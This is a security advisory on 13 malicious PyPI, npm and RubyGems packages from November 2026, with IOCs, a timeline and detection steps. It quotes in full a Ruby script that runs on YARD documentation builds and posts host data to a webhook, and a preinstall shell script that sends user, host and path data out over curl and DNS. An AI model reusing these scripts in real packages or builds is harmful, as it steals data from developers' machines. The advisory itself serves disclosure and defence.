CVE
Not assigned
CWE
CWE-506, CWE-94, CWE-494
Affected Surface
- PyPI packages `filipt` (`0.1.0` through `0.1.5`), `zyto` (`0.2.0` through `0.2.3`, `GHSA-385c-v792-v6cc`), `ln9qw38745g` (`0.1.0`, `0.1.1`), and `protecteda` (`0.1.0`), plus npm package `filipt` (`0.2.1`, `0.3.0`, `0.4.0`, `0.5.0`, `0.5.3`, `GHSA-56fp-mx7r-63x8`)
- PyPI packages `extera-plugin-runtime` (`1.0.0`, `1.0.1`, `GHSA-qmc5-36rh-cwj4`) and `extera-runtime` (`1.1.0`, `GHSA-f44g-4vc7-5crw`)
- RubyGems packages `w002yardprobe` (`0.0.1` through `0.0.5`, `GHSA-cv4q-gcjm-77v8`, still live on `rubygems.org` as of 4 November 2026) and `brida-frida-hooks` (`1.0.1`, `GHSA-vqw2-j6mj-82hq`)
- npm dependency-confusion packages `@atfm/utils` (`99.99.99`, `GHSA-qmwf-4v39-cr83`), `@atfm/atfm-material-ui` (`99.99.99`, `GHSA-6qhw-f3p4-49mg`), and `service-roles-registry` (`99.0.1`, `99.0.2`, `GHSA-qvhq-m873-hq8g`)
TL;DR
Between 2 and 4 November 2026, security researchers and automated package analyzers disclosed 13 malicious packages across PyPI, npm, and RubyGems that illustrate four distinct execution triggers beyond standard npm postinstall scripts:
- Cross-ecosystem
filipt,zyto,ln9qw38745g, andprotectedaRAT/stealer droppers (GHSA-56fp-mx7r-63x8,GHSA-385c-v792-v6cc): On PyPI,filipt(0.1.0through0.1.5),zyto(0.2.0through0.2.3), andln9qw38745g(0.1.0,0.1.1) override theinstallcommand insetup.pyto launch a bundled Windows executable during wheel building or installation. After shipping a smaller preparatory binary in initial releases, the operator swapped the embedded payload for a 33.1 MB Overlord RAT executable (SHA-256 e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38), while publishing a parallelfiliptpackage on npm (0.2.1through0.5.3, replaced with0.0.1-securityon 4 November at17:29 UTC). A companion PyPI package,protecteda(0.1.0), launches a 3.4 MB UPX-packed SalatStealer binary (SHA-256 2444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c) when invoked as a module. - PyPI
extera-plugin-runtimeandextera-runtimeTelegram stealers (GHSA-qmc5-36rh-cwj4,GHSA-f44g-4vc7-5crw): Cataloged on 4 November under campaign2026-11-extera-plugin-runtime,extera-plugin-runtime(1.0.0,1.0.1) andextera-runtime(1.1.0) masquerade as helper libraries for the exteraGram Telegram client. Instead of firing duringpip install, the modules wait to be imported, then exfiltrate local Telegram session data and pollextera-plugins-updater[.]topfor remote commands. - RubyGems
.yardoptsdocumentation-build execution (w002yardprobe,GHSA-cv4q-gcjm-77v8) andgem installraw-socket exfiltration (brida-frida-hooks,GHSA-vqw2-j6mj-82hq): Published on 3 November (15:37to17:16 UTC) and still live onrubygems.orgas of 4 November,w002yardprobe(0.0.1through0.0.5) ships a.yardoptsfile containing--load ./script.rb. Whenever YARD generates documentation for the gem (locally viayard doc, in CI, or on documentation mirrors such as RubyDoc.info), YARD loadsscript.rb, which rewriteslib/w002yardprobe.rb, drops marker files into/build, and POSTs host identity data towebhook[.]site. Meanwhile,brida-frida-hooks(1.0.1) used a gemspecextensionshook duringgem installto send/etc/passwd,/etc/hosts, and/etc/resolv.confover a raw TLSTCPSockettobjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com:443. - High-version npm dependency-confusion probes (
@atfm/utils,@atfm/atfm-material-ui,service-roles-registry): Published at99.99.99and99.0.1/99.0.2, these packages usepreinstallhooks to exfiltratewhoami,hostname,pwd, and package names over both HTTPS and DNS to*.callback.m0chan.co[.]ukandeog6t9e6egptozp.m.pipedream[.]net.
What to do now: Audit Python, Node.js, and Ruby environments for all 13 package names below. Isolate and reimage any Windows host that built or installed filipt, zyto, ln9qw38745g, or protecteda. Revoke and reissue Telegram sessions on hosts that imported extera-plugin-runtime or extera-runtime, and never run yard doc on untrusted gems without passing --safe or stripping --load flags from .yardopts.
Affected packages
| Ecosystem | Package | Advisory ID | Malicious versions | First seen | Registry status (as of 4 Nov 2026) | Primary behavior |
|---|---|---|---|---|---|---|
| npm | filipt | GHSA-56fp-mx7r-63x8 | 0.2.1, 0.3.0, 0.4.0, 0.5.0, 0.5.3 (>= 0) | 2026-11-02 (22:10 UTC) | Replaced with 0.0.1-security on 2026-11-04 (17:29 UTC) | Cross-registry companion to the PyPI filipt Overlord RAT dropper |
| PyPI | filipt | 2026-11-filipt | 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5 | 2026-11-03 | Removed from PyPI (404) | setup.py install override launches embedded 33.1 MB Overlord RAT binary |
| PyPI | zyto | GHSA-385c-v792-v6cc | 0.2.0, 0.2.1, 0.2.2, 0.2.3 | 2026-11-03 | Removed from PyPI (404) | setup.py install override executes embedded binary (2026-11-filipt cluster) |
| PyPI | ln9qw38745g | 2026-11-filipt | 0.1.0, 0.1.1 | 2026-11-03 | Removed from PyPI (404) | setup.py install override executes embedded RAT binary (2026-11-filipt cluster) |
| PyPI | protecteda | 2026-11-protecteda | 0.1.0 | 2026-11-03 | Removed from PyPI (404) | Module execution launches embedded 3.4 MB UPX-packed SalatStealer binary |
| PyPI | extera-plugin-runtime | GHSA-qmc5-36rh-cwj4 | 1.0.0, 1.0.1 | 2026-11-04 | Removed from PyPI (404) | Import-time Telegram file exfiltration and remote command execution (extera-plugins-updater[.]top) |
| PyPI | extera-runtime | GHSA-f44g-4vc7-5crw | 1.1.0 | 2026-11-04 | Removed from PyPI (404) | Import-time Telegram file exfiltration and remote command execution (extera-plugins-updater[.]top) |
| RubyGems | w002yardprobe | GHSA-cv4q-gcjm-77v8 | 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5 | 2026-11-03 (15:37 UTC) | Still live on rubygems.org | .yardopts --load ./script.rb executes during YARD doc generation and POSTs to webhook[.]site |
| RubyGems | brida-frida-hooks | GHSA-vqw2-j6mj-82hq | 1.0.1 | 2026-11-03 | Removed from RubyGems (404) | Gemspec extension script exfiltrates /etc/passwd, /etc/hosts, and /etc/resolv.conf over raw TLS socket |
| npm | @atfm/utils | GHSA-qmwf-4v39-cr83 | 99.99.99 | 2026-11-04 | Removed from npm (404) | preinstall exfiltrates whoami, hostname, pwd via HTTPS GET and DNS to *.callback.m0chan.co[.]uk |
| npm | @atfm/atfm-material-ui | GHSA-6qhw-f3p4-49mg | 99.99.99 | 2026-11-04 | Removed from npm (404) | preinstall exfiltrates whoami, hostname, pwd via HTTPS GET and DNS to *.callback.m0chan.co[.]uk |
| npm | service-roles-registry | GHSA-qvhq-m873-hq8g | 99.0.1, 99.0.2 | 2026-11-02 (21:26 UTC) | Unpublished (LIVE=[]) | preinstall runs index.js to POST os.hostname(), os.userInfo().user, process.cwd() to Pipedream |
Technical analysis
1. filipt, zyto, ln9qw38745g, and protecteda: Bait-and-switch executables in setup.py
As documented by Kamil Mankowski (kam193) under campaign 2026-11-filipt and corroborated by Recorded Future Triage sandbox reports (261103-xxcp9aez3r and 261103-2nalrazz3k), the operator behind filipt, zyto, and ln9qw38745g used a version-stepping pattern across both PyPI and npm:
- On npm,
filiptwas published across five versions between22:10 UTCon 2 November and19:26 UTCon 3 November (0.2.1,0.3.0,0.4.0,0.5.0, and0.5.3) before npm replaced the package with0.0.1-securityon 4 November at17:29 UTC(GHSA-56fp-mx7r-63x8). - On PyPI,
filipt(0.1.0through0.1.5),zyto(0.2.0through0.2.3,GHSA-385c-v792-v6cc), andln9qw38745g(0.1.0,0.1.1) shipped source distributions that subclasssetuptools.command.install.installinsetup.py. Whenpip installbuilds a wheel from the sdist (even when the user intends to inspect or cache wheels),setup.pyextracts and spawns a bundled Windows PE binary. - Early releases of
filiptandzytobundled smaller executables (SHA-256 1a89eb45ed45780f16499b0f87ff3dd17db4be0988f7befbfa88224d83fccae2,c8ecde6b3840ab32ceace277f7fd1bfc63eb87344ab9147651e3c4c11dbbac93, andf511eff8b0cec4854856e3686a3eded0decf5fa3b04d585f9f2e951b7d13c295) to test execution during wheel builds before swapping the payload in later releases offiliptto a 33.1 MB Overlord RAT executable (SHA-256 e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38), which performs host discovery, defense evasion, persistence registration, and privilege escalation on Windows 10 and Windows 11 hosts. - In a parallel upload on 3 November (
22:50 UTC),protecteda(0.1.0, campaign2026-11-protecteda) embedded a 3.4 MB UPX-packed SalatStealer executable (SHA-256 2444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c) launched when the package is invoked as a module.
2. extera-plugin-runtime and extera-runtime: Deferred Telegram session theft
Published on 4 November 2026 (GHSA-qmc5-36rh-cwj4 and GHSA-f44g-4vc7-5crw), extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0) target developers building plugins for exteraGram (an Android/desktop Telegram fork that supports Python plugins).
Rather than using setup.py install hooks that trigger automated sandbox alarms, both packages defer execution until the developer imports the library or calls its runtime helpers. Once invoked, the code searches the host for local Telegram session (tdata) and configuration files, exfiltrates them, and polls extera-plugins-updater[.]top to execute remote commands on the victim’s machine.
3. w002yardprobe and brida-frida-hooks: Abusing RubyGems .yardopts and gemspec extensions
Static inspection of the w002yardprobe-0.0.5.gem archive (SHA-256 879a53a3403eb1f8c44c9d2948ebf0ef43466063f93db0f672bdd7b80f1c4f95, still live on rubygems.org as of 4 November 2026) shows how a gem can achieve code execution without using a gemspec extensions hook or requiring a user to require the library. The gem includes a 41-byte .yardopts file at the archive root:
--load ./script.rb
README.md
lib/**/*.rb
Whenever the YARD documentation generator (yard doc or yardoc) runs in the gem’s directory, it reads .yardopts by default and evaluates any Ruby file passed to --load before parsing source files. In w002yardprobe, script.rb targets documentation-hosting build pipelines (such as RubyDoc.info’s /build mount) as well as local developer runs:
# Extracted from script.rb in w002yardprobe-0.0.5.gem (GHSA-cv4q-gcjm-77v8)
begin
stamp = "R002EXEC-#{Time.now.utc.strftime('%Y%m%dT%H%M%S')}-#{Process.pid}"
base = nil
['/build', File.dirname(File.expand_path(__FILE__))].each do |d|
begin
base = d if File.file?(File.join(d, '.yardopts'))
break if base
rescue StandardError
end
end
base ||= Dir.pwd
begin
require 'yard'
YARD::Registry.yardoc_file = File.join(base, '.yardoc')
rescue StandardError
end
f = File.join(base, 'lib', 'w002yardprobe.rb')
if File.exist?(f)
c = File.read(f)
File.write(f, c.gsub('MARKSLOT', stamp)) if c.include?('MARKSLOT')
end
File.write(File.join(base, 'W002SCRIPT_RAN.txt'), stamp)
begin
require 'net/http'
require 'json'
info = {
marker: 'r002-y7Kp9Qz',
pwd: Dir.pwd,
base: base,
host: (Socket.gethostname rescue nil),
ruby: RUBY_VERSION,
uid: (Process.uid rescue nil)
}
uri = URI('https://webhook.site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66')
params = { 'm' => 'r002-y7Kp9Qz', 'info' => JSON.generate(info), 'file' => File.expand_path(__FILE__) }
ok = Net::HTTP.post_form(uri, params)
File.write(File.join(base, 'W002EGRESS_OK.txt'), "status=#{ok.code} at=#{Time.now.utc}")
rescue StandardError => e
File.write(File.join(base, 'W002EGRESS_ERR.txt'), "#{e.class}: #{e.message}") rescue nil
end
end
Notice that lib/w002yardprobe.rb inside the published 0.0.5 gem already contains # Probe class. Runtime marker: R002EXEC-20261103T113643-705, proving script.rb was executed prior to packaging 0.0.5.
By contrast, brida-frida-hooks@1.0.1 (GHSA-vqw2-j6mj-82hq, removed from RubyGems) declared an extension script in its gemspec that ran automatically during gem install, reading Dir.pwd, Dir.home, Socket.gethostname, username, /etc/resolv.conf, /etc/passwd, and /etc/hosts and transmitting them over a raw TLS TCPSocket to bjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com on port 443.
4. @atfm/utils, @atfm/atfm-material-ui, and service-roles-registry: Dual HTTPS/DNS dependency confusion
On npm, @atfm/utils@99.99.99 (GHSA-qmwf-4v39-cr83) and @atfm/atfm-material-ui@99.99.99 (GHSA-6qhw-f3p4-49mg) used inflated 99.99.99 versions under the @atfm scope so any unpinned internal build without scope-to-registry binding would pull the public package. Their preinstall hook exfiltrates whoami, hostname, pwd, and $npm_package_name over both HTTPS and DNS:
# preinstall script in @atfm/utils@99.99.99 and @atfm/atfm-material-ui@99.99.99 (defanged)
b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0)
pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g')
pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '=')
curl -sm5 hxxps://$pkgsub.callback.m0chan.co[.]uk/$b64
nslookup $pkgdns.$pkgsub.callback.m0chan.co[.]uk
Similarly, service-roles-registry (99.0.1, 99.0.2, GHSA-qvhq-m873-hq8g) executed index.js on preinstall to POST os.hostname(), os.userInfo().user, and process.cwd() to hxxps://eog6t9e6egptozp.m.pipedream[.]net.
IOCs
| Type | Indicator (defanged) | Context |
|---|---|---|
| Domain | extera-plugins-updater[.]top | Remote command and Telegram file exfiltration domain in PyPI extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0) |
| URL | hxxps://webhook[.]site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66 | Collector endpoint in RubyGems w002yardprobe (0.0.1..0.0.5) .yardopts script.rb |
| Domain | bjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com:443 | Raw TLS TCPSocket collector in RubyGems brida-frida-hooks@1.0.1 |
| Domain / URL | *.callback.m0chan.co[.]uk, hxxps://eog6t9e6egptozp.m.pipedream[.]net | Exfiltration endpoints in @atfm/utils@99.99.99, @atfm/atfm-material-ui@99.99.99, and service-roles-registry@99.0.2 |
| SHA-256 | e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38 | 33.1 MB Overlord RAT Windows binary embedded in filipt (2026-11-filipt) |
| SHA-256 | 1a89eb45ed45780f16499b0f87ff3dd17db4be0988f7befbfa88224d83fccae2, c8ecde6b3840ab32ceace277f7fd1bfc63eb87344ab9147651e3c4c11dbbac93, f511eff8b0cec4854856e3686a3eded0decf5fa3b04d585f9f2e951b7d13c295 | Preparatory Windows binaries embedded in zyto, filipt, and ln9qw38745g (2026-11-filipt) |
| SHA-256 | 2444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c | 3.4 MB UPX-packed SalatStealer Windows binary embedded in PyPI protecteda@0.1.0 |
| SHA-256 | 879a53a3403eb1f8c44c9d2948ebf0ef43466063f93db0f672bdd7b80f1c4f95 | w002yardprobe-0.0.5.gem archive (marker r002-y7Kp9Qz, sentinel files W002SCRIPT_RAN.txt, W002EGRESS_OK.txt) |
Detection and remediation
# 1. Check Python environments and dependency manifests for filipt, zyto, ln9qw38745g, protecteda, and extera-*runtime
pip show filipt zyto ln9qw38745g protecteda extera-plugin-runtime extera-runtime 2>/dev/null || true
rg -n '(filipt|zyto|ln9qw38745g|protecteda|extera-plugin-runtime|extera-runtime)' \
requirements*.txt pyproject.toml poetry.lock uv.lock Pipfile* 2>/dev/null
# 2. Check npm lockfiles for filipt, @atfm/utils, @atfm/atfm-material-ui, and service-roles-registry
rg -n '("filipt"|@atfm/utils|@atfm/atfm-material-ui|service-roles-registry)' \
package.json package-lock.json pnpm-lock.yaml yarn.lock bun.lock 2>/dev/null
# 3. Check RubyGems environments and .yardopts files for w002yardprobe, brida-frida-hooks, or --load hooks
gem list -i '^(w002yardprobe|brida-frida-hooks)$' 2>/dev/null || true
rg -n '(w002yardprobe|brida-frida-hooks)' Gemfile Gemfile.lock *.gemspec 2>/dev/null
find . -name '.yardopts' -exec grep -HnE -- '--load|-e|--plugin' {} + 2>/dev/null
find / -name 'W002SCRIPT_RAN.txt' -o -name 'W002EGRESS_OK.txt' 2>/dev/null
- Reimage hosts that built or installed
filipt,zyto,ln9qw38745g, orprotecteda: Because Overlord RAT and SalatStealer establish Windows persistence and harvest browser, cloud, and session credentials on execution, uninstalling the package viapip uninstallornpm uninstalldoes not clean an infected host. Isolate the machine, rotate all credentials accessible from that workstation, and rebuild from a clean image. - Terminate Telegram sessions if
extera-plugin-runtimeorextera-runtimewas imported: In Telegram (Settings -> Devices), terminate all active sessions, delete localtdatadirectories after backing up needed non-session files, and rotate any bot tokens or API keys stored on the machine. - Harden YARD documentation builds (
w002yardprobe) and scope bindings (@atfm/*): When running YARD against third-party gems, pass--safe(yard doc --safe), which disables--load,-e, and plugin loading from.yardopts. For private npm scopes such as@atfm, bind the scope explicitly to your private registry in.npmrc(@atfm:registry=https://...) so public99.99.99packages are never queried.
Timeline
- 2026-11-02 (
21:26to23:02 UTC):service-roles-registry(99.0.1,99.0.2) andfilipt(0.2.1,0.3.0,0.4.0) are published to npm. - 2026-11-03 (
09:31 UTC): GitHub Advisory Database publishesGHSA-qvhq-m873-hq8gforservice-roles-registry. - 2026-11-03 (
15:37to17:16 UTC):w002yardprobeversions0.0.1through0.0.5are published to RubyGems alongsidebrida-frida-hooks@1.0.1. - 2026-11-03 (
18:38to22:54 UTC):filipt(0.5.0,0.5.3) lands on npm whilefilipt(0.1.0..0.1.5),zyto(0.2.0..0.2.3),ln9qw38745g(0.1.0,0.1.1), andprotecteda(0.1.0) are cataloged on PyPI (2026-11-filipt,2026-11-protecteda). - 2026-11-04 (
00:31to06:32 UTC): GitHub Advisory Database publishesGHSA-385c-v792-v6cc(zyto),GHSA-cv4q-gcjm-77v8(w002yardprobe),GHSA-vqw2-j6mj-82hq(brida-frida-hooks),GHSA-qmwf-4v39-cr83(@atfm/utils), andGHSA-6qhw-f3p4-49mg(@atfm/atfm-material-ui). - 2026-11-04 (
15:24to18:31 UTC):extera-plugin-runtime(1.0.0,1.0.1,GHSA-qmc5-36rh-cwj4) andextera-runtime(1.1.0,GHSA-f44g-4vc7-5crw) are disclosed on PyPI, and npm replacesfiliptwith0.0.1-security(GHSA-56fp-mx7r-63x8).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- GitHub Malware Advisory GHSA-56fp-mx7r-63x8 (4 November 2026): Malware in filipt (npm)
- GitHub Malware Advisory GHSA-385c-v792-v6cc (4 November 2026): Malicious code in zyto (PyPI)
- Bad Packages catalog by Kamil Mankowski (kam193): Campaign 2026-11-filipt (filipt, zyto, ln9qw38745g)
- Recorded Future Triage sandbox report 261103-xxcp9aez3r: Overlord RAT payload (e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38)
- GitHub Malware Advisories GHSA-qmc5-36rh-cwj4 and GHSA-f44g-4vc7-5crw (4 November 2026): extera-plugin-runtime and extera-runtime (PyPI)
- Bad Packages catalog by Kamil Mankowski (kam193): Campaign 2026-11-extera-plugin-runtime
- GitHub Malware Advisories GHSA-cv4q-gcjm-77v8 (w002yardprobe) and GHSA-vqw2-j6mj-82hq (brida-frida-hooks) on RubyGems
- GitHub Malware Advisories GHSA-qmwf-4v39-cr83 (@atfm/utils), GHSA-6qhw-f3p4-49mg (@atfm/atfm-material-ui), and GHSA-qvhq-m873-hq8g (service-roles-registry)